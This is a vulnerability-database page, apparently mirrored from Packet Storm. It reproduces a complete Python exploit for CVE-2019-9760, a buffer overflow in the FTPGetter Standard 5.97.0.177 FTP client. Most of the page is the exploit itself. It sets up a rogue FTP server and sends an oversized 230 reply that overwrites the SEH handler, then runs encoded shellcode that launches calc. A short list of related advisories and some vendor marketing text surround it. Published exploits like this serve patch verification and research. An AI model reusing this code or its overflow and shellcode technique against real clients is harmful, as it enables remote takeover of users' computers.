Lucene search
K

FTPGetter Standard 5.97.0.177 Remote Code Execution

🗓️ 14 Mar 2019 00:00:00Reported by w4fz5uck5Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

FTPGetter Standard 5.97.0.177 Remote Code Execution CVE-2019-976

Related
Code
ReporterTitlePublishedViews
Family
0day.today
FTPGetter Standard 5.97.0.177 - Remote Code Execution Exploit
14 Mar 201900:00
zdt
Circl
CVE-2019-9760
29 May 201815:50
circl
CVE
CVE-2019-9760
14 Mar 201901:00
cve
Cvelist
CVE-2019-9760
14 Mar 201901:00
cvelist
Exploit DB
FTPGetter Standard 5.97.0.177 - Remote Code Execution
14 Mar 201900:00
exploitdb
exploitpack
FTPGetter Standard 5.97.0.177 - Remote Code Execution
14 Mar 201900:00
exploitpack
NVD
CVE-2019-9760
14 Mar 201902:29
nvd
Prion
Memory corruption
14 Mar 201902:29
prion
`# Exploit Title: FTPGetter Standard - v.5.97.0.177 Remote Code Execution  
# Date: 05/03/2019  
# Exploit Author: https://github.com/w4fz5uck5 | @w4fz5uck5  
# Vendor Homepage: https://www.ftpgetter.com  
# Software Link: https://www.ftpgetter.com/ftpgetter_setup.exe  
# Version: v.5.97.0.177  
# Tested on: Windows 7 x64  
# CVE : CVE-2019-9760  
  
  
import socket  
import struct  
import time  
import sys  
  
# badchars = (  
# "\x59\x5a\x5b\x5c\x00\x0a\x0d\x20\x40\x1a\x80\x82\x83\x84\x85\x86\x87"  
# "\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"  
# "\x9c\x9e\x9f\xc0\xc1" .....  
# )  
  
# x86/alpha_mixed simple fixer -> bytes "\x89\xe3\xd9\xe1\xd9\x73\xf4"  
calc = ""   
calc += "\x54" # push esp  
calc += "\x58" # pop eax  
calc += "\x05\x43\x06\x00\x00" # add eax,0x643  
calc += "\x50" # push eax  
calc += "\x5f" # pop edi  
calc += "\x25\x4A\x4D\x4E\x55" # zerout EAX  
calc += "\x25\x35\x32\x31\x2A" # zerout EAX  
calc += "\x04\xab" # ADD AL,0xab  
calc += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX  
calc += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX  
calc += "\x31\x47\x02" # XOR DWORD PTR DS:[EDI+2],EAX  
calc += "\x2C\x5B" # SUB AL,0x5b -> EAX = 0x50  
calc += "\x31\x47\x03" # XOR DWORD PTR DS:[EDI+3],EAX  
calc += "\x31\x47\x04" # XOR DWORD PTR DS:[EDI+4],EAX  
calc += "\x90\x90\x90\x90" # padding  
  
# "\x89\xe3"  
calc += "\x54" # push esp  
calc += "\x5b" # pop ebx  
  
# "\xd9\xe1\xd9" xored: 0xab  
calc += "\x72\x4a\x72"  
  
# \x73\xf4 xored: 0x50  
calc += "\x23\xa4"   
  
calc += "\x58\x50\x59\x49\x49\x49"  
calc += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"  
calc += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"  
calc += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"  
calc += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"  
calc += "\x4a\x49\x58\x59\x48\x4b\x4f\x4e\x48\x39\x47\x53\x45"  
calc += "\x37\x56\x51\x38\x59\x32\x54\x51\x34\x5a\x54\x51\x4a"  
calc += "\x51\x39\x4f\x39\x58\x31\x45\x43\x56\x51\x53\x42\x35"  
calc += "\x49\x4b\x33\x48\x42\x55\x54\x45\x53\x43\x42\x45\x45"  
calc += "\x31\x4b\x58\x56\x50\x56\x4d\x33\x39\x59\x32\x51\x4a"  
calc += "\x5a\x32\x42\x4b\x31\x4d\x32\x43\x45\x4b\x32\x44\x4b"  
calc += "\x4e\x53\x4d\x31\x49\x50\x38\x59\x34\x4b\x55\x31\x49"  
calc += "\x30\x54\x51\x5a\x47\x55\x53\x57\x31\x4d\x54\x53\x4c"  
calc += "\x59\x4b\x49\x42\x49\x38\x4d\x4a\x5a\x37\x4f\x4a\x33"  
calc += "\x58\x34\x50\x4b\x4b\x51\x4b\x5a\x48\x4e\x4d\x42\x50"  
calc += "\x53\x4b\x46\x48\x4e\x53\x4b\x36\x35\x58\x42\x44\x4e"  
calc += "\x4c\x30\x52\x54\x4e\x4c\x4d\x59\x4d\x46\x4d\x37\x4c"  
calc += "\x37\x4c\x4f\x50\x4b\x4c\x4f\x4c\x4c\x42\x57\x53\x49"  
calc += "\x38\x58\x57\x4d\x44\x32\x4e\x57\x53\x38\x59\x5a\x43"  
calc += "\x33\x35\x49\x44\x43\x35\x4c\x32\x45\x4b\x5a\x49\x35"  
calc += "\x59\x51\x4a\x35\x4c\x50\x39\x4f\x4d\x41\x41"  
  
# Encode addresses and create jmp esp  
# Calculate jmp esp offset and put it on stack  
jump_back = "\x55" # push ebp  
jump_back += "\x58" # pop eax  
jump_back += "\x05\x2b\x08\x00\x00" # add eax,2091  
jump_back += "\x50" # push eax  
  
# zerout EAX  
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a  
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235  
  
jump_back += "\x3E\x33\x04\x24" # XOR EAX,DWORD PTR DS:[ESP] -> send stack addr to EAX  
jump_back += "\x50" # push eax  
jump_back += "\x5f" # pop edi  
  
# zerout EAX  
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a  
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235  
  
jump_back += "\x04\x81" # ADD AL,0x81  
jump_back += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX  
jump_back += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX  
jump_back += "\x90\x90\x90\x90" # padding  
  
# Tool utilized: https://github.com/ihack4falafel/Slink  
# All rights reserved to ihack4falafel  
#  
# \x54\x58\x66\x05\x04\x06\x50\xc3  
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a  
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235  
jump_back += "\x05\x02\x03\x30\x62" # add eax, 0x62300302  
jump_back += "\x05\x02\x03\x20\x61" # add eax, 0x61200302  
jump_back += "\x50" # push eax  
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a  
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235  
jump_back += "\x05\x32\x34\x33\x03" # add eax, 0x03333432  
jump_back += "\x05\x22\x24\x33\x02" # add eax, 0x02332422  
jump_back += "\x50" # push eax  
  
# jump to second shellcode  
jump_back += "\x7e\x65" # jmp esp xored: 0x81  
  
# Overflow size 493  
payload = "\x90" * 29  
payload += calc # shellcode  
payload += "\x90" * (493 - len(payload)) # padding  
payload += "\x7e\x06\x90\x90" # NSEH  
payload += "\x31\x20\x77\x00" # SEH -> POP ESI # POP EBX # RETN  
payload += "\x90\x90\x90\x90"  
payload += jump_back # jump to our calc  
payload += "\x90" * 700 # Final padding  
  
try:  
host, port = "0.0.0.0", 21  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind((host, int(port)))  
s.listen(5)  
print "[*] Listening server at port: {}".format(port)  
print "[*] Waiting for the client!.."  
  
except Exception as e:  
print "[-] Failed attempt to create bind socket!"  
sys.exit(0)  
  
try:  
conn, client = s.accept()  
conn.send("220 Welcome to server !\r\n")  
conn.recv(1024)  
  
print "[+] User started communication with server!"  
conn.send("331 anonymous OK!\r\n")  
conn.recv(1024)  
print "[+] Received anonymous user from the client!"  
  
print "[*] CALC shellcode Length: " + str(len(calc))  
print "[*] Jump Back shellcode Length: " + str(len(jump_back))  
print "[*] Payload final size: " + str(len(payload))  
print "[!] Attempting to send payload!..."  
conn.send("230 " + payload + "\r\n")  
  
time.sleep(1)  
print "[+] You should have your poped calc!"  
  
conn.close()  
s.close()  
except:  
print "[-] Failed attempt to send payload!"  
sys.exit(0)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Mar 2019 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.73808
26